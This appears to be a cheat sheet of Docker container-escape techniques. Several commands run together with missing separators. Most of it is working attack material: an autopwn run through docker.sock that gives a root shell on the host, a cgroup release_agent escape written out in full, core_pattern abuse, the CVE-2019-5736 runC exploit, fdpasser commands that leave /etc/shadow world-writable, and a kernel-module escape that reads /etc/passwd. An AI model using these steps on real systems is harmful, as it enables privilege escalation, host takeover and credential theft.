root@37bb034797d1:/tmp# ./ed_linux_amd64 -path=/var/run/ -autopwn=true [+] Hunt dem Socks[+] Hunting Down UNIX Domain Sockets from: /var/run/[*] Valid Socket: /var/run/docker.sock[+] Attempting to autopwn[+] Hunting Docker Socks[+] Attempting to Autopwn: /var/run/docker.sock[*] Getting Docker client...[*] Successfully got Docker client...[+] Attempting to escape to host...[+] Attempting in TTY Modechroot /host && clearecho 'You are now on the underlying host'chroot /host && clearecho 'You are now on the underlying host'/# chroot /host && clear/# echo 'You are now on the underlying host'You are now on the underlying host/# iduid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
# On the hostdocker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash# In the containermkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1>/tmp/cgrp/x/notify_on_releasehost_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p'/etc/mtab`echo "$host_path/cmd">/tmp/cgrp/release_agentecho '#!/bin/sh'>/cmdecho "ps aux > $host_path/output">>/cmdchmod a+x /cmdsh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Abusing coredumps and core_pattern
Find the mounting point using mount
$ mount | head -n 1overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/YLH6C6EQMMG7DA2AL5DUANDHYJ:/var/lib/docker/overlay2/l/HP7XLDFT4ERSCYVHJ2WMZBG2YT,upperdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff,workdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/work)
Create an evil binary at the root of the filesystem: cp /tmp/poc /poc
Generate a coredump with a faulty program: gcc -o crash crash.c && ./crash
intmain(void) {charbuf[1];for (int i =0; i <100; i++) {buf[i] =1; }return0;}
Your payload should have been executed on the host
Breaking out of Docker via runC
The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. - Vulnerability overview by the runC team
Exploit for CVE-2019-5736 : https://github.com/twistlock/RunC-CVE-2019-5736
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC$ docker run --rm cve-2019-5736:malicious_image_POC
Breaking out of containers using a device file
https://github.com/FSecureLABS/fdpasserIn container, as root: ./fdpasser recv /moo /etc/shadowOutside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f"sleep 1337")/root/mooOutside container: ls -la /etc/shadowOutput: -rwsrwsrwx 1 root shadow 1209 Oct 102019/etc/shadow
Breaking out of Docker via kernel modules loading
When privileged Linux containers attempt to load kernel modules, the modules are loaded into the host's kernel (because there is only one kernel, unlike VMs). This provides a route to an easy container escape.
Exploitation:
Clone the repository : git clone https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping
Build with make
Start a privileged docker container with docker run -it --privileged --hostname docker --mount "type=bind,src=$PWD,dst=/root" ubuntu
cd /root in the new container
Insert the kernel module with ./escape
Run ./execute!
Unlike other techniques, this module doesn't contain any syscalls hooks, but merely creates two new proc files; /proc/escape and /proc/output.
/proc/escape only answers to write requests and simply executes anything that's passed to it via call_usermodehelper().
/proc/output just takes input and stores it in a buffer when written to, then returns that buffer when it's read from - essentially acting a like a file that both the container and the host can read/write to.
The clever part is that anything we write to /proc/escape gets sandwiched into /bin/sh -c <INPUT> > /proc/output. This means that the command is run under /bin/sh and the output is redirected to /proc/output, which we can then read from within the container.
Once the module is loaded, you can simply echo "cat /etc/passwd" > /proc/escape and then get the result via cat /proc/output. Alternatively, you can use the execute program to give yourself a makeshift shell (albeit an extraordinarily basic one).
The only caveat is that we cannot be sure that the container has kmod installed (which provides insmod and rmmod). To overcome this, after building the kernel module, we load it's byte array into a C program, which then uses the init_module() syscall to load the module into the kernel without needing insmod. If you're interested, take a look at the Makefile.